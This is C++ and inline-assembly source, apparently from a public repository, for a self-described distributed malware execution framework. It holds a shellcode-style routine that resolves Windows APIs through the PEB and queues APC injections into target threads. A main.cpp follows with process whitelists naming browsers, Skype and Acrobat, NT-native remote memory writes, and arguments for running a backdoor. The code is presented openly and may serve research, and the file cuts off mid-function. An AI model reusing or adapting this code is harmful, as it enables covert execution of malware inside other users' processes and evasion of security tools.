(__stdcall *CreateToolhelp32Snapshot) (DWORD, DWORD) ; BOOL (__stdcall *Process32First) (void*, LPPROCESSENTRY32) ; HANDLE (__stdcall *OpenProcess) (DWORD, BOOL, DWORD) ; LPVOID (__stdcall *VirtualAllocEx) (HANDLE, LPVOID, SIZE_T, DWORD, DWORD) ; BOOL (__stdcall *WriteProcessMemory) (HANDLE, LPVOID, LPCVOID, SIZE_T, SIZE_T) ; BOOL (__stdcall *Thread32First) (HANDLE, LPTHREADENTRY32) ; HANDLE (__stdcall *OpenThread) (DWORD, BOOL, DWORD) ; DWORD (__stdcall *QueueUserAPC) (PAPCFUNC, HANDLE, ULONG_PTR) ; BOOL (__stdcall *VirtualFreeEx) (HANDLE, LPVOID, SIZE_T, DWORD) ; BOOL (__stdcall *Thread32Next) (HANDLE, LPTHREADENTRY32) ; BOOL (__stdcall *Process32Next) (HANDLE, LPPROCESSENTRY32) ; LPVOID (__stdcall *MapViewOfFile) (HANDLE, DWORD, DWORD, DWORD, SIZE_T) ; HANDLE (__stdcall *OpenFileMappingA) (DWORD, BOOL, LPCTSTR) ; int (__stdcall *lstrcmpA) (LPCSTR, LPCSTR) ; BOOL (__stdcall *CloseHandle) (HANDLE) ; HANDLE (__stdcall *CreateFileA) (LPCSTR, DWORD, DWORD, LPSECURITY_ATTRIBUTES, DWORD, DWORD, HANDLE); DWORD (__stdcall *SetFilePointer) (HANDLE, LONG, PLONG, DWORD) ; BOOL (__stdcall *LockFile) (HANDLE, DWORD, DWORD, DWORD, DWORD) ; BOOL (__stdcall *WriteFile) (HANDLE, LPCVOID, DWORD, LPDWORD, LPOVERLAPPED); int (__stdcall *lstrlenA) (LPCSTR) ; BOOL (__stdcall *UnlockFile) (HANDLE, DWORD, DWORD, DWORD, DWORD) ; /* User32.dll function declarations */ int (__stdcall *MessageBoxA) (HWND, LPCTSTR, LPCTSTR, UINT) ; int (__stdcall *wsprintfA) (LPSTR, LPCSTR, ... ) ; /* ntdll.dll functions */ int (NTAPI *NtQueueApcThread) (HANDLE, LPVOID, LPVOID, LPVOID, LPVOID) ; __asm{ jmp init } __asm { //------------------------------------------------------------------------------------------------------- // getprocaddr(): An inline implementation of kernel32.dll GetProcAddress() function. getprocaddr() lookup // a function in kernel32's EAT. The search is done by name, and the entry point of the requested // function is returned. If function not found, function returns -1. // // Arguments (fastcall): ecx (char*) : a pointer to the requested function name // // Return Value: Function address. If function not found, -1 is returned. //------------------------------------------------------------------------------------------------------- getprocaddr: // function label push ebp // create a stack frame mov ebp, esp // sub esp, 0x20 // 32 bytes seem enough push ebx // backup registers push edx // push esi // push edi // // mov [ebp-4], ecx // loc4 = arg1 // -------------------------------------------------------------------------- // find length of user's function name // -------------------------------------------------------------------------- xor eax, eax // set al to NULL mov edi, ecx // edi must contain the string address xor ecx, ecx // not ecx // set ecx to -1 cld // clear Direction Flag (++ mode) repne scasb // iterate over string until you find NULL neg ecx // toggle, and ecx will contain strlen+2 (+2 is needed) // mov [ebp-8], ecx // loc8 = strlen(arg1) // -------------------------------------------------------------------------- // locate base address of kernel32.dll (generic - without InInitializationOrderModuleList) // -------------------------------------------------------------------------- mov eax, fs:[0x30] // get PEB mov eax, [eax + 0x0c] // PEB->Ldr (PEB_LDR_DATA) mov eax, [eax + 0x14] // PEB->Ldr.InMemoryOrderModuleList.Flink mov eax, [eax] // skip 1st entry (module itsel) mov eax, [eax] // skip 2nd entry (ntdll.dll) mov ebx, [eax + 0x10] // kernel32 module base address in ebx // mov [ebp - 1c], ebx // base address in stack // -------------------------------------------------------------------------- // locate important parts of kernel32's EAT // -------------------------------------------------------------------------- mov ecx, [ebx + 0x3c] // ebx->e_lfanew: skip MSDOS header of kernel32.dll mov edx, [ebx + ecx + 78h] // get export table RVA (it's 0x78 bytes after PE header) add edx, ebx // convert it to absolute address (edx = EAT) // mov ecx, [edx + 0x18] // get number of exported functions mov esi, [edx + 0x1c] // & of AddressOfNamess table mov edi, [edx + 0x24] // & of AddressOfNameOrdinals table mov edx, [edx + 0x20] // & of AddressOfFunctions table add edx, ebx // convert it to absolute address // mov [ebp - 0xc], esi // locc = &AddressOfNames mov [ebp - 0x10], edi // loc10 = &AddressOfNameOrdinals // -------------------------------------------------------------------------- // iterate over EAT until you find the requested function // -------------------------------------------------------------------------- get_next_funnam: // jecxz search_failed // reach the end of table? dec ecx // decrease counter mov esi, [edx + ecx*4] // get function's name RVA add esi, ebx // convert it to absolute address // -------------------------------------------------------------------------- // compare the 2 strings // -------------------------------------------------------------------------- push ecx // back up ecx xor eax, eax // clear eax mov edi, [ebp - 4] // edi = arg1 mov ecx, [ebp - 8] // ecx = strlen(arg1) dec esi // dec edi // decrease, because we'll increase later strcmp_loop: // inc esi // funnam++ inc edi // arg1++ // mov al, byte ptr [esi] // cmp al, byte ptr [edi] // *funnam == *arg1 ? loope strcmp_loop // if yes get next character // test ecx, ecx // reach NULL ? (we need to compare also the NULL bytes) pop ecx // restore old ecx jne get_next_funnam // if match not found, get next funnam from EAT // -------------------------------------------------------------------------- // if you reach this point, match found // -------------------------------------------------------------------------- mov edx, [ebp-0x10] // &AddressOfNameOrdinals add edx, ebx // convert it to absolute address shl ecx, 1 // counter *= 2 (because ordinals are 2 bytes) add edx, ecx // movzx ecx, word ptr[edx] // ecx = AddressOfNameOrdinals[counter << 1] // ecx has the right ordinal mov esi, [ebp-0xc] // &AddressOfNames add esi, ebx // convert it to absolute address shl ecx, 2 // because addresses are 4 bytes add esi, ecx // get the right slot mov eax, [esi] // AddressOfNames[ AddressOfNameOrdinals[counter*2]*4 ] add eax, ebx // convert from RVA to absolute address jmp getprocaddr_end // return // -------------------------------------------------------------------------- // finalize // -------------------------------------------------------------------------- search_failed: // mov eax, 0xffffffff // return -1 getprocaddr_end: // pop edi // restore registers pop esi // pop edx // pop ebx // add esp, 0x20 // release stack space leave // function epilog retn // } __asm{ init: lea ecx, [__LoadLibraryA] call getprocaddr // fastcall calling convention mov dword ptr[LoadLibraryA], eax // set function pointer cmp eax, 0xffffffff // error? je exit_fn // in case of error, abort lea ecx, [__GetProcAddress] call getprocaddr // fastcall calling convention mov dword ptr[GetProcAddress], eax // set function pointer cmp eax, 0xffffffff // error? je exit_fn // in case of error, abort lea ecx, [__GetCurrentProcessId] call getprocaddr // fastcall calling convention mov dword ptr[GetCurrentProcessId], eax // set function pointer cmp eax, 0xffffffff // error? je exit_fn // in case of error, abort lea ecx, [__GetCurrentThreadId] call getprocaddr // fastcall calling convention mov dword ptr[GetCurrentThreadId], eax // set function pointer cmp eax, 0xffffffff // error? je exit_fn // in case of error, abort lea ecx, [__CreateToolhelp32Snapshot] call getprocaddr // fastcall calling convention mov dword ptr[CreateToolhelp32Snapshot], eax // set function pointer cmp eax, 0xffffffff // error? je exit_fn // in case of error, abort lea ecx, [__Process32First] call getprocaddr // fastcall calling convention mov dword ptr[Process32First], eax // set function pointer cmp eax, 0xffffffff // error? je exit_fn // in case of error, abort lea ecx, [__OpenProcess] call getprocaddr // fastcall calling convention mov dword ptr[OpenProcess], eax // set function pointer cmp eax, 0xffffffff // error? je exit_fn // in case of error, abort lea ecx, [__VirtualAllocEx] call getprocaddr // fastcall calling convention mov dword ptr[VirtualAllocEx], eax // set function pointer cmp eax, 0xffffffff // error? je exit_fn // in case of error, abort lea ecx, [__WriteProcessMemory] call getprocaddr // fastcall calling convention mov dword ptr[WriteProcessMemory], eax // set function pointer cmp eax, 0xffffffff // error? je exit_fn // in case of error, abort lea ecx, [__Thread32First] call getprocaddr // fastcall calling convention mov dword ptr[Thread32First], eax // set function pointer cmp eax, 0xffffffff // error? je exit_fn // in case of error, abort lea ecx, [__OpenThread] call getprocaddr // fastcall calling convention mov dword ptr[OpenThread], eax // set function pointer cmp eax, 0xffffffff // error? je exit_fn // in case of error, abort lea ecx, [__QueueUserAPC] call getprocaddr // fastcall calling convention mov dword ptr[QueueUserAPC], eax // set function pointer cmp eax, 0xffffffff // error? je exit_fn // in case of error, abort lea ecx, [__VirtualFreeEx] call getprocaddr // fastcall calling convention mov dword ptr[VirtualFreeEx], eax // set function pointer cmp eax, 0xffffffff // error? je exit_fn // in case of error, abort lea ecx, [__Thread32Next] call getprocaddr // fastcall calling convention mov dword ptr[Thread32Next], eax // set function pointer cmp eax, 0xffffffff // error? je exit_fn // in case of error, abort lea ecx, [__Process32Next] call getprocaddr // fastcall calling convention mov dword ptr[Process32Next], eax // set function pointer cmp eax, 0xffffffff // error? je exit_fn // in case of error, abort lea ecx, [__MapViewOfFile] call getprocaddr // fastcall calling convention mov dword ptr[MapViewOfFile], eax // set function pointer cmp eax, 0xffffffff // error? je exit_fn // in case of error, abort lea ecx, [__OpenFileMappingA] call getprocaddr // fastcall calling convention mov dword ptr[OpenFileMappingA], eax // set function pointer cmp eax, 0xffffffff // error? je exit_fn // in case of error, abort lea ecx, [__lstrcmpA] call getprocaddr // fastcall calling convention mov dword ptr[lstrcmpA], eax // set function pointer cmp eax, 0xffffffff // error? je exit_fn // in case of error, abort lea ecx, [__CloseHandle] call getprocaddr // fastcall calling convention mov dword ptr[CloseHandle], eax // set function pointer cmp eax, 0xffffffff // error? je exit_fn // in case of error, abort lea ecx, [__CreateFileA] call getprocaddr // fastcall calling convention mov dword ptr[CreateFileA], eax // set function pointer cmp eax, 0xffffffff // error? je exit_fn // in case of error, abort lea ecx, [__SetFilePointer] call getprocaddr // fastcall calling convention mov dword ptr[SetFilePointer], eax // set function pointer cmp eax, 0xffffffff // error? je exit_fn // in case of error, abort lea ecx, [__LockFile] call getprocaddr // fastcall calling convention mov dword ptr[LockFile], eax // set function pointer cmp eax, 0xffffffff // error? je exit_fn // in case of error, abort lea ecx, [__WriteFile] call getprocaddr // fastcall calling convention mov dword ptr[WriteFile], eax // set function pointer cmp eax, 0xffffffff // error? je exit_fn // in case of error, abort lea ecx, [__lstrlenA] call getprocaddr // fastcall calling convention mov dword ptr[lstrlenA], eax // set function pointer cmp eax, 0xffffffff // error? je exit_fn // in case of error, abort lea ecx, [__UnlockFile] call getprocaddr // fastcall calling convention mov dword ptr[UnlockFile], eax // set function pointer cmp eax, 0xffffffff // error? je exit_fn // in case of error, abort jmp main } __asm{ main: nop } /* Loading ntdll.dll functions */ HMODULE hNtdll = LoadLibraryA(__ntdll_dll); NtQueueApcThread = (int(__stdcall *)(HANDLE, LPVOID, LPVOID, LPVOID, LPVOID)) GetProcAddress(hNtdll, __NtQueueApcThread); if(NtQueueApcThread==NULL) { __asm{ jmp exit_fn } } HMODULE module = LoadLibraryA(__User32_dll); MessageBoxA = (int (__stdcall *)(HWND, LPCTSTR, LPCTSTR, UINT)) GetProcAddress(module, __MessageBoxA); wsprintfA = (int (__stdcall *)(LPSTR, LPCSTR, ... )) GetProcAddress(module, __wsprintfA); #ifdef __LOG__ wsprintfA(msg1, __started_pid_tid, GetCurrentProcessId(), GetCurrentThreadId()); #ifdef __LOG_BY_MESSAGE__ wsprintfA(msg2, __from_pid, GetCurrentProcessId()); //MessageBoxA(NULL, msg1, msg2, 0x00000000L); // msg1: message, msg2: title #else HANDLE logFile = CreateFile( __logFile, FILE_APPEND_DATA, // open for writing FILE_SHARE_READ, // allow multiple readers NULL, // no security OPEN_ALWAYS, // open or create FILE_ATTRIBUTE_NORMAL, // normal file NULL); // no attr. template DWORD dwPos = SetFilePointer(logFile, 0, NULL, FILE_END); //LockFile(logFile, dwPos, 0, MAX_ONE_TIME_LOG_SIZE , 0); DWORD dwBytesWritten; WriteFile(logFile, msg1, lstrlenA(msg1), &dwBytesWritten, NULL); //UnlockFile(logFile, dwPos, 0, MAX_ONE_TIME_LOG_SIZE, 0); CloseHandle(logFile); #endif #endif /*---------------------------------------------------------------------------------* * QUEUE APC FUNCTION * *-------------------------------------------------------------------------------- */ /* find own code */ HANDLE hMapFile; LPCTSTR EXECUTER; hMapFile = OpenFileMappingA( FILE_MAP_ALL_ACCESS, // read/write access FALSE, // do not inherit the name sharedMemName); // name if (hMapFile == NULL) __asm{ jmp exit_fn } // exit if OpenFileMappingA Failed EXECUTER = (LPTSTR) MapViewOfFile(hMapFile, // handle to map object FILE_MAP_ALL_ACCESS, // read/write permission 0, 0, EXE_SIZE); if(EXECUTER==NULL) __asm{ jmp exit_fn } // exit if MapViewOfFile Failed /* find process */ HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0); // 6:TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD /* not interested in any sanity checks :P if (hSnapshot == -1) // -1: INVALID_HANDLE_VALUE return false; */ PROCESSENTRY32 pe; // doing "TYPE pe = {sizeof(pe)};" pe.dwSize = sizeof(PROCESSENTRY32); // result in call to memset by it's // absolute addr. if (Process32First(hSnapshot, &pe)) { int inject_count = 0; do { if(inject_count>0) break; for(char *procName = procList; procName[0] != 0; procName++){ if (lstrcmpA(pe.szExeFile, procName) == 0) { while(procName[0]!=0) procName++; int START = (int)(*(++procName)); int QUEUE_COUNT = (int)(*(++procName)); /* process found, now write the emulator in it */ HANDLE hProcess = OpenProcess(PROCESS_VM_WRITE | PROCESS_VM_OPERATION, FALSE, pe.th32ProcessID); if(hProcess==NULL){ // exit if OpenProcess Failed __asm{ jmp exit_fn } } LPVOID p = VirtualAllocEx(hProcess, NULL, EXE_SIZE, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if(p==NULL) { // exit if VirtualAllocEx Failed __asm{ jmp exit_fn } } if(WriteProcessMemory(hProcess, p, EXECUTER, EXE_SIZE, NULL)==0){ __asm{ jmp exit_fn } // exit if WriteProcessMemeory Failed } /* Emulator wriiten to victim proc, now queue apc in threads */ THREADENTRY32 te; // doing "TYPE te = {sizeof(te)};" te.dwSize = sizeof(THREADENTRY32); // result in call to memset by it's // absolute addr. int thread_count = -1; if (Thread32First(hSnapshot, &te)) { do { if (te.th32OwnerProcessID == pe.th32ProcessID) { thread_count++; if(thread_count < START){ continue; } // Exclude the main threads if(thread_count-START >= QUEUE_COUNT ){ break; } // Limit the number of APC Queues #ifdef __LOG__ wsprintfA(msg1, __injecting_to_at, pe.th32ProcessID, te.th32ThreadID, p); #ifdef __LOG_BY_MESSAGE__ wsprintfA(msg2, __from_pid, GetCurrentProcessId()); //MessageBoxA(NULL, msg1, msg2, 0x00000000L); // msg1: message, msg2: title #else HANDLE logFile = CreateFile( __logFile, FILE_APPEND_DATA, // open for writing FILE_SHARE_READ, // allow multiple readers NULL, // no security OPEN_ALWAYS, // open or create FILE_ATTRIBUTE_NORMAL, // normal file NULL); // no attr. template DWORD dwPos = SetFilePointer(logFile, 0, NULL, FILE_END); //LockFile(logFile, dwPos, 0, MAX_ONE_TIME_LOG_SIZE , 0); DWORD dwBytesWritten; WriteFile(logFile, msg1, lstrlenA(msg1), &dwBytesWritten, NULL); //UnlockFile(logFile, dwPos, 0, MAX_ONE_TIME_LOG_SIZE, 0); CloseHandle(logFile); #endif #endif __LOG__ //MessageBoxA(NULL, msg1, msg2, 0); // msg1: message, msg2: title /* INJECT */ HANDLE hThread = OpenThread(THREAD_SET_CONTEXT | THREAD_SUSPEND_RESUME, FALSE, te.th32ThreadID); ULONG_PTR parameter = EXE_SIZE; //nothing arguments to APC function! #ifdef __SELF_INJECTION__ p = executer; #endif if (hThread!=NULL) { #ifdef __USE_NT_FUNCTIONS__ if(NtQueueApcThread( (PAPCFUNC)p, hThread, (PVOID)parameter, 0, 0)==0){ #else if(QueueUserAPC( (PAPCFUNC)p, hThread, parameter )==0){ #endif __asm{ jmp exit_fn } // exit if QueueUserAPC Failed } inject_count++; } else{ __asm{ jmp exit_fn } // exit if OpenThread Failed } } } while (Thread32Next(hSnapshot, &te)); } } else{ while(procName[0]!=0) procName++; ++procName; ++procName; } } } while (Process32Next(hSnapshot, &pe)); } // VirtualFreeEx(hProc, p, 0, MEM_RELEASE | MEM_DECOMMIT); CloseHandle(hSnapshot); __asm{ jmp exit_fn // APC Queued, now exit // just being verbose :P } __asm{ nop exit_fn: nop } return; /* Signature to identify end of executer */ __asm { O('S','e','l','f','Q','u','e','u','i','n','g','$','$','$',0,0) } }
35,247
C++
.cpp
549
51.537341
140
0.393976
pwnlogs/d-time
35
12
0
GPL-3.0
9/20/2024, 10:43:29 PM (Europe/Amsterdam)
false
false
false
false
false
false
false
false
1,531,371
main.cpp
pwnlogs_d-time/emulator/main.cpp
/*------------------------------------------------------------------------------------------------- * * _____ _______ _____ __ __ ______ * | __ \ |__ __| |_ _| | \/ | | ____| * | | | | ______ | | | | | \ / | | |__ * | | | | |______| | | | | | |\/| | | __| * | |__| | | | _| |_ | | | | | |____ * |_____/ |_| |_____| |_| |_| |______| * * * DISTRIBUTED THREADLESS INDEPENDENT MALWARE EXECUTION FRAMEWORK * *----------------------------------------------------------------------------------------------- * * Pre-requesits: * 1. All blocks, segments, etc... should be copied to the folder as seperate files * (plugin provides a check-box to make these files whie splitting) * 2. Change NBLOCKS, NSEGMS and NPROC to match the current malware split * 3. Best run in Visual Studio, disable all optimizations for exec.cpp * * Best built in Visual Studio 10 * Porject settings (Configuration Properties): * 1. C/C++ --> Advanced --> Calling convention * Set __stdcall (Gz) * 2. C/C++ --> Code Generation --> Buffer Security Check * Set NO * 3. Linker --> General --> Enable Incremental Linking * Set NO * 4. Linker --> System --> SubSystem * Set CONSOLE * *-----------------------------------------------------------------------------------------------*/ #include "stdafx.h" #include "d_time.h" #include <winsock2.h> #include <windows.h> #include <ws2tcpip.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <windowsx.h> #include <tlhelp32.h> #include <process.h> #include <iostream> using namespace std; #pragma comment (lib, "Ws2_32.lib") // Need to link with Ws2_32.lib #define __ABORT_ON_INJECT_FAILURE__ // abort execution on failure instead of returning false //#define __WRITE_EMULATOR_TO_FILE__ // Write the emulator code to "exec.txt" as byte string #define _NBLOCKS 39 // number of program blocks #define _NSEGMS 1 // number of program segments #define _NPROC 2 // number of processes to inject D-TIME #ifdef __NT_INJECTION__ /* --- List of whitelisted processes to inject to --- * This enables us to restrict the malware from being injected to * Only the selected processes. */ const wchar_t* whitelist[] = { #ifdef __DEBUG__ #ifdef __INJECT_CHROME__ L"chrome.exe", #endif #ifdef __INJECT_FIREFOX__ L"firefox.exe", #endif #ifdef __INJECT_CALC__ L"calc1.exe", // in Win 10, calc 32 needs to be downloaded separatly #endif #ifdef __INJECT_OPERA__ L"opera.exe", #endif #ifdef __INJECT_VLC__ L"vlc.exe", #endif #ifdef __INJECT_EXPLORER__ L"explorer.exe", #endif #ifdef __INJECT_INTERNET_EXPLORER__ L"explore.exe", #endif #ifdef __INJECT_ACR_READER__ L"AcroRd32.exe", #endif #ifdef __INJECT_SKYPE__ L"Skype.exe", #endif L"victim0.exe", #else L"chrome.exe", L"_firefox.exe", L"_opera.exe", L"_Safari.exe", L"_calc1.exe", #endif 0 }; int whitelist_count[] = { #ifdef __DEBUG__ #ifdef __INJECT_CHROME__ 1, #endif #ifdef __INJECT_FIREFOX__ 1, #endif #ifdef __INJECT_CALC__ 1, // in Win 10, calc 32 needs to be downloaded separatly #endif #ifdef __INJECT_OPERA__ 1, #endif #ifdef __INJECT_VLC__ 1, #endif #ifdef __INJECT_EXPLORER__ 1, #endif #ifdef __INJECT_INTERNET_EXPLORER__ 1, #endif #ifdef __INJECT_ACR_READER__ 1, #endif #ifdef __INJECT_SKYPE__ 1, #endif 1, #else L"chrome.exe", L"_firefox.exe", L"_opera.exe", L"_Safari.exe", L"_calc1.exe", #endif 0 }; int skip_count[] = { #ifdef __DEBUG__ #ifdef __INJECT_CHROME__ 0, #endif #ifdef __INJECT_FIREFOX__ 2, #endif #ifdef __INJECT_CALC__ 0, // in Win 10, calc 32 needs to be downloaded separatly #endif #ifdef __INJECT_OPERA__ 0, #endif #ifdef __INJECT_VLC__ 0, #endif #ifdef __INJECT_EXPLORER__ 0, #endif #ifdef __INJECT_INTERNET_EXPLORER__ 0, #endif #ifdef __INJECT_ACR_READER__ 0, #endif #ifdef __INJECT_SKYPE__ 1, #endif 0, #else L"chrome.exe", L"_firefox.exe", L"_opera.exe", L"_Safari.exe", L"_calc1.exe", #endif 0 }; const wchar_t* blacklist[] = { // blacklist L"explorer.exe", 0 }; typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING, *PUNICODE_STRING; typedef struct _OBJECT_ATTRIBUTES { ULONG Length; HANDLE RootDirectory; PUNICODE_STRING ObjectName; ULONG Attributes; PVOID SecurityDescriptor; PVOID SecurityQualityOfService; } OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES; typedef struct _CLIENT_ID { PVOID UniqueProcess; PVOID UniqueThread; } CLIENT_ID, *PCLIENT_ID; typedef NTSTATUS(__stdcall *_ZwOpenProcess)( PHANDLE ProcessHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PCLIENT_ID ClientId ); typedef NTSTATUS(__stdcall *_ZwAllocateVirtualMemory)( HANDLE ProcessHandle, PVOID *BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect ); typedef NTSTATUS(__stdcall *_ZwWriteVirtualMemory)( HANDLE ProcessHandle, PVOID BaseAddress, PVOID Buffer, ULONG NumberOfBytesToWrite, PULONG NumberOfBytesWritten OPTIONAL ); typedef struct _INITIAL_TEB { PVOID StackBase; PVOID StackLimit; PVOID StackCommit; PVOID StackCommitMax; PVOID StackReserved; } INITIAL_TEB, *PINITIAL_TEB; typedef NTSTATUS(__stdcall *_NtCreateThreadEx) ( PHANDLE hThread, ACCESS_MASK DesiredAccess, LPVOID ObjectAttributes, HANDLE ProcessHandle, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, BOOL CreateSuspended, ULONG StackZeroBits, ULONG SizeOfStackCommit, ULONG SizeOfStackReserve, LPVOID lpBytesBuffer ); typedef NTSTATUS(__stdcall *_RtlCreateUserThread)( HANDLE ProcessHandle, PSECURITY_DESCRIPTOR SecurityDescriptor OPTIONAL, BOOLEAN CreateSuspended, ULONG StackZeroBits, OUT PULONG StackReserved, OUT PULONG StackCommit, PVOID StartAddress, PVOID StartParameter OPTIONAL, PHANDLE ThreadHandle, PCLIENT_ID ClientID ); struct NtCreateThreadExBuffer { ULONG Size; ULONG Unknown1; ULONG Unknown2; PULONG Unknown3; ULONG Unknown4; ULONG Unknown5; ULONG Unknown6; PULONG Unknown7; ULONG Unknown8; }; #define OBJ_CASE_INSENSITIVE 0x00000040 #define InitializeObjectAttributes( i, o, a, r, s ) { \ (i)->Length = sizeof( OBJECT_ATTRIBUTES ); \ (i)->RootDirectory = r; \ (i)->Attributes = a; \ (i)->ObjectName = o; \ (i)->SecurityDescriptor = s; \ (i)->SecurityQualityOfService = NULL; \ } #ifndef STATUS_SUCCESS #define STATUS_SUCCESS 0x00000000 #endif _ZwOpenProcess ZwOpenProcess; _ZwAllocateVirtualMemory ZwAllocateVirtualMemory; _ZwWriteVirtualMemory ZwWriteVirtualMemory; _NtCreateThreadEx NtCreateThreadEx; _RtlCreateUserThread RtlCreateUserThread; #endif // __NT_INJECTION__ shctrl_t *shctrl; // pointer to our shared control LPVOID EXECUTER; // pointer to emulator function ULONG EXE_SIZE; enum listmode {ALLOW=0, EXCLUDE}; // type of list whitelist/blacklist typedef NTSTATUS(__stdcall *_ZwWriteVirtualMemory)( HANDLE ProcessHandle, PVOID BaseAddress, PVOID Buffer, ULONG NumberOfBytesToWrite, PULONG NumberOfBytesWritten OPTIONAL ); /* * fatal(): Print the error description and terminates the program. * * Arguments: format (char*) : A format string, containing the error description * * Return Value: None. */ void fatal( const char* format, ... ){ va_list args; // our arguments fprintf( stderr, " [ERROR]: " ); // print error identifier va_start( args, format ); // start using variable argument list vfprintf( stderr, format, args ); // print error message va_end( args ); // stop using variable argument list fprintf( stderr, ". Quiting!\n" ); // print trailer system("pause"); // hold on to read the message exit( EXIT_FAILURE ); // terminate with failure } /* * setargs(): Set command line arguments. * Note that we use this as a function to make pack() function easier. * * Arguments: s (shctrl_t*) : A pointer to shared control region * * Return Value: None. */ void setargs( shctrl_t *s ) { // basic backdoor 3 *(uint*)(shctrl->ctx[0].esp + 4) = 3; // hInstance or argc *(uint*)(shctrl->ctx[0].esp + 8) = STACKBASEADDR // hPrevInstance or argv + 0x100; *(uint*)(STACKBASEADDR + 0x100) = STACKBASEADDR + 0x200; *(uint*)(STACKBASEADDR + 0x104) = STACKBASEADDR + 0x210; *(uint*)(STACKBASEADDR + 0x108) = STACKBASEADDR + 0x220; *(uint*)(STACKBASEADDR + 0x10c) = 0; strcpy( (char*)(STACKBASEADDR + 0x200), "backdoor.exe"); strcpy( (char*)(STACKBASEADDR + 0x210), "1337"); strcpy( (char*)(STACKBASEADDR + 0x220), "xrysa"); // Cpp Backdoor arguments /* *(uint*)(shctrl->ctx[0].esp + 0x4) = 0; // hInstance or argc *(uint*)(shctrl->ctx[0].esp + 0x8) = 0; // hPrevInstance or argv *(uint*)(shctrl->ctx[0].esp + 0xc) = STACKBASEADDR + ARGVBASEOFF; strcpy( (char*)(STACKBASEADDR + ARGVBASEOFF), "-k UserService"); */ } /* * Fetch address and size of executer function * This is required to inject the function to other processes * Arguments : None * Return : None * Note: Values are set on Global variables EXECUTER and EXE_SIZE */ void get_executer_details(){ LPBYTE p; // auxilary pointer EXECUTER = (LPBYTE)((ULONG)executer); for (p = (LPBYTE)EXECUTER; strcmp((char*)p, "$end_of_D_TIME$"); p++); EXE_SIZE = (ULONG)p + 16 + 9 - (ULONG)EXECUTER; // get function size } #ifdef __DEBUG__ DWORD __stdcall threadFn(LPVOID parameter){ while(true){ SleepEx(1000, TRUE); } return 0; } #endif /* * Write emulator to shared memory so that other processes can read if needed */ bool write_to_shared_mem(){ /* Write emulator to Shared memory */ HANDLE hMapFile; LPBYTE shptr; char sharedMemName[] = {'S','Q','S','h','a','r','e','d','M','e','m','$','$','$',0}; if((hMapFile = CreateFileMapping( INVALID_HANDLE_VALUE, // use paging file NULL, // default security PAGE_READWRITE, // read/write access HIWORD(EXE_SIZE), // maximum object size (high-order DWORD) LOWORD(EXE_SIZE), // maximum object size (low-order DWORD) sharedMemName) // name of mapping object ) == NULL){ cout<<"Failed to allocate Shared Memory"<<endl; return false; } if((shptr = (LPBYTE) MapViewOfFileEx( hMapFile, // handle to map object FILE_MAP_ALL_ACCESS, // read/write permission 0, // high-order 32 bits of file offset 0, // low-order 32 bits of file offset EXE_SIZE, // number of bytes to map NULL // base address (NULL if we don't care) )) == NULL ) { // does an error occured ? CloseHandle(hMapFile); // close memory mapped file // The SharedRegion is destroyed only after // UnMapViewOfFile is ALSO called, which we won't do :P cout<<"Can't map view of file"<<endl; return false; } CopyMemory((PVOID)shptr, (void*)EXECUTER, EXE_SIZE); return true; } LPVOID writeProcMem(HANDLE hproc) { LPVOID rAddr; SIZE_T nwritten; #ifndef __NT_INJECTION__ if ((rAddr = VirtualAllocEx( hproc, // Handle to process NULL, // We don't have a prefered address EXE_SIZE, // size of memory to allocate MEM_COMMIT, // allocation type PAGE_EXECUTE_READWRITE) // permissions ) == NULL) fatal("Cannot allocate memory to remote process: %d", GetLastError()); if (!WriteProcessMemory( hproc, // Handle to process rAddr, // starting addr - remote process EXECUTER, // start of buffer EXE_SIZE, // size of buffer &nwritten) // no of bytes written ) fatal("Cannot write to remote process"); #else HANDLE hrthreadhdl; // remote thread handle rAddr = NULL; // clear base address if (ZwAllocateVirtualMemory( hproc, &rAddr, 0, &EXE_SIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE)!= STATUS_SUCCESS) fatal("Cannot allocate memory to remote process: %d", GetLastError()); if (ZwWriteVirtualMemory(hproc, rAddr, EXECUTER, EXE_SIZE, &nwritten) != STATUS_SUCCESS) fatal("Cannot write to remote process"); #endif return rAddr; } int findProc(ushort N, const wchar_t *proclist[], listmode lm, int* proc_count){ HANDLE snapshot, hproc; // snapshot and current process handles PROCESSENTRY32W proc32; // process entry ushort ninj = 0; // number of injected processes so far int skip; // internal flag LPVOID rAddr; // address of emulator in remote proc uint i; if ((snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)) == INVALID_HANDLE_VALUE) fatal("Cannot take a snapshot of running processes"); proc32.dwSize = sizeof(PROCESSENTRY32W); // set up process size while (Process32NextW(snapshot, &proc32) == TRUE){ // as long as there are processes in the list skip = !lm; for (i = 0; proclist[i] != NULL; i++) { // for each process name in process list if (proc_count[i] <= 0) continue; if (!wcscmp(proc32.szExeFile, proclist[i])) { // check if name matches skip = lm; // =0 if ALLOW, =1 if EXCLUDE break; // stop searching } } if (skip) continue; // is skip set? if so get next process if ((hproc = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, proc32.th32ProcessID) )!= NULL){ if ((rAddr=writeProcMem(hproc))!=NULL) { shctrl->pidtab[ninj] = proc32.th32ProcessID; shctrl->emulatorAddr[ninj] = rAddr; proc_count[i]--; if (++ninj >= N) break; } } } return ninj; } int __cdecl main(int argc, char* argv[]){ int NBLOCKS, NSEGMS, NPROC; #ifdef __USE_CONFIG_FILE__ char config[__MAX_CONFIG_LENGTH__] = { 0 }; OVERLAPPED ol = { 0 }; DWORD dwBytesRead; int config_vals[__NO_CONFIG_VALUES__] = { 0,0,0 }; HANDLE configFile = CreateFileA( __CONFIG_FILE_NAME__, GENERIC_READ, // open for writing FILE_SHARE_READ, // allow multiple readers NULL, // no security OPEN_EXISTING, // normal file FILE_ATTRIBUTE_NORMAL, NULL); // no attr. template if (configFile == NULL) { return 0; } if (SetFilePointer(configFile, 0, NULL, FILE_BEGIN) == 